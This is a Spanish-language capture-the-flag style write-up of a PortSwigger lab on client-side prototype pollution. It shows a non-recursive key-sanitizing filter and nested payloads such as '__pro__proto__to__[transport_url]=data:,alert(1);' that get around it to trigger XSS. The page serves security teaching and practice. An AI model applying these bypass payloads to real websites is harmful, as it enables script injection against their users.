😎
WEB
YouTubeTwitterLinkedIn
  • La Biblia del Hacking en Web
    • ADVERTENCIA
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende Hacking Web con los laboratorios de PortSwigger
  • SQL Injection
    • ¿SQL Injection?
    • Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
    • Lab 2: SQL injection vulnerability allowing login bypass
    • Lab 3: SQL injection attack, querying the database type and version on Oracle
    • Lab 4: SQL injection attack, querying the database type and version on MySQL and Microsoft
    • Lab 5: SQL injection attack, listing the database contents on non-Oracle databases
    • Lab 6: SQL injection attack, listing the database contents on Oracle
  • Cross Site Scripting
    • ¿XSS?
    • Lab 1: Reflected XSS into HTML context with nothing encoded
    • Lab 2: Stored XSS into HTML context with nothing encoded
    • Lab 3: DOM XSS in document.write sink using source location.search
    • Lab 4: DOM XSS in innerHTML sink using source location.search
    • Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source
  • ClickJacking
    • ¿Clickjacking?
    • Lab 1: Basic clickjacking with CSRF token protection
  • Access control vulnerabilities
    • ¿Control de Acceso?
    • Lab 1: Unprotected admin functionality
    • Lab 3: User role controlled by request parameter
  • Path traversal
    • ¿Path Traversal?
    • Lab 1: File path traversal, simple case
    • Lab 2: File path traversal, traversal sequences blocked with absolute path bypass
    • Lab 3: File path traversal, traversal sequences stripped non-recursively
  • XML external entity (XXE) injection
    • ¿XML external entity?
    • Lab 1: Exploiting XXE using external entities to retrieve files
    • Lab 2: Exploiting XXE to perform SSRF attacks
    • Lab 3: Blind XXE with out-of-band interaction
  • JWT
    • ¿JWT?
    • Lab 1: JWT authentication bypass via unverified signature
    • Lab 2: JWT authentication bypass via flawed signature verification
    • Lab 3: JWT authentication bypass via weak signing key
    • Lab 4: JWT authentication bypass via jwk header injection
    • Lab 5: JWT authentication bypass via jku header injection
  • Server-side request forgery (SSRF)
    • ¿SSRF?
    • Lab 1: Basic SSRF against the local server
  • OS command injection
    • ¿OS Command Injection?
    • Lab 1: OS command injection, simple case
  • Authentication
    • ¿Authentication?
    • Lab 1: Username enumeration via different responses
  • HTTP request smuggling
    • ¿HTTP request smuggling?
    • Lab 1: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
  • Server-side template injection
    • ¿Server-side template injection?
    • Lab 1: Basic server-side template injection
  • DOM-based vulnerabilities
    • Lab 1: DOM XSS using web messages
    • Lab 2: DOM XSS using web messages and a JavaScript URL
  • WebSockets
    • Lab #1: Manipulating WebSocket messages to exploit vulnerabilities
  • Prototype pollution
    • ¿Prototype Pollution?
    • Lab 1: Client-side prototype pollution via browser APIs
      • Utilizando DOM Invader
    • Lab 2: DOM XSS via client-side prototype pollution
    • Lab 3: DOM XSS via an alternative prototype pollution vector
      • Utilizando DOM Invader
    • Lab 4: Client-side prototype pollution via flawed sanitization
    • Lab 5: Client-side prototype pollution in third-party libraries
    • Lab 6: Privilege escalation via server-side prototype pollution
    • Lab 7: Detecting server-side prototype pollution without polluted property reflection
    • Lab 8: Bypassing flawed input filters for server-side prototype pollution
    • Lab 9: Remote code execution via server-side prototype pollution
    • Lab 10: Exfiltrating sensitive data via server-side prototype pollution
  • GraphQL
    • Lab 1: Accessing private GraphQL posts
  • Web cache poisoning
    • Lab 1: Web cache poisoning with an unkeyed header
  • CORS
    • Lab #2 - CORS vulnerability with trusted null origin
    • Lab 3: CORS vulnerability with trusted insecure protocols
  • API testing
    • Lab #1: Exploiting an API endpoint using documentation
    • Lab #2: Exploiting server-side parameter pollution in a query string
    • Lab #3: Finding and exploiting an unused API endpoint
    • Lab #4: Exploiting a mass assignment vulnerability
    • Lab #5: Exploiting server-side parameter pollution in a REST URL
Con tecnología de GitBook
En esta página

¿Te fue útil?

  1. Prototype pollution

Lab 4: Client-side prototype pollution via flawed sanitization

https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-client-side-prototype-pollution-via-flawed-sanitization

AnteriorUtilizando DOM InvaderSiguienteLab 5: Client-side prototype pollution in third-party libraries

Última actualización hace 10 meses

¿Te fue útil?

Al probar diferentes cargas, se detecta que no funcionan:

Tampoco esta:

Y tampoco esta:

Las cargas utilizadas fueron:

/?__proto__[foo]=bar
/?constructor.prototype.foo=bar
/?__proto__.foo=bar

Se procede a revisar el codigo fuente y se detecta la siguiente funcion que probablemente esta filtrando las entradas maliciosas:

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

La función sanitizeKey está diseñada para eliminar ciertas cadenas específicas de una clave. Sin embargo, no aborda adecuadamente las variaciones o fragmentaciones de estas cadenas. Vamos a analizar por qué:

La función sanitizeKey depende de coincidencias exactas para reemplazar. Cuando la cadena __proto__ está incrustada dentro de otra cadena (como en el siguiente payload), la función no la reconoce como un mal atributo y no la elimina.

/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar
/?constconstructorructor[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar

Las cargas anteriores son funcionales.

Ahora si analizamos el codigo fuente:

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

Se detecta que la inyeccion o el payload debe abordar a transport_url.

Por lo anterior, la carga quedaria de la siguiente manera:

/?__pro__proto__to__[transport_url]=foo

Pero al utilizarla obtenemos un error:

Y al analizar el codigo fuente se puede apreciar la inclusion de foo:

La carga final para desplegar un XSS seria la siguiente:

/?__pro__proto__to__[transport_url]=data:,alert(1);

Y la salida de lo anterior es lo siguiente: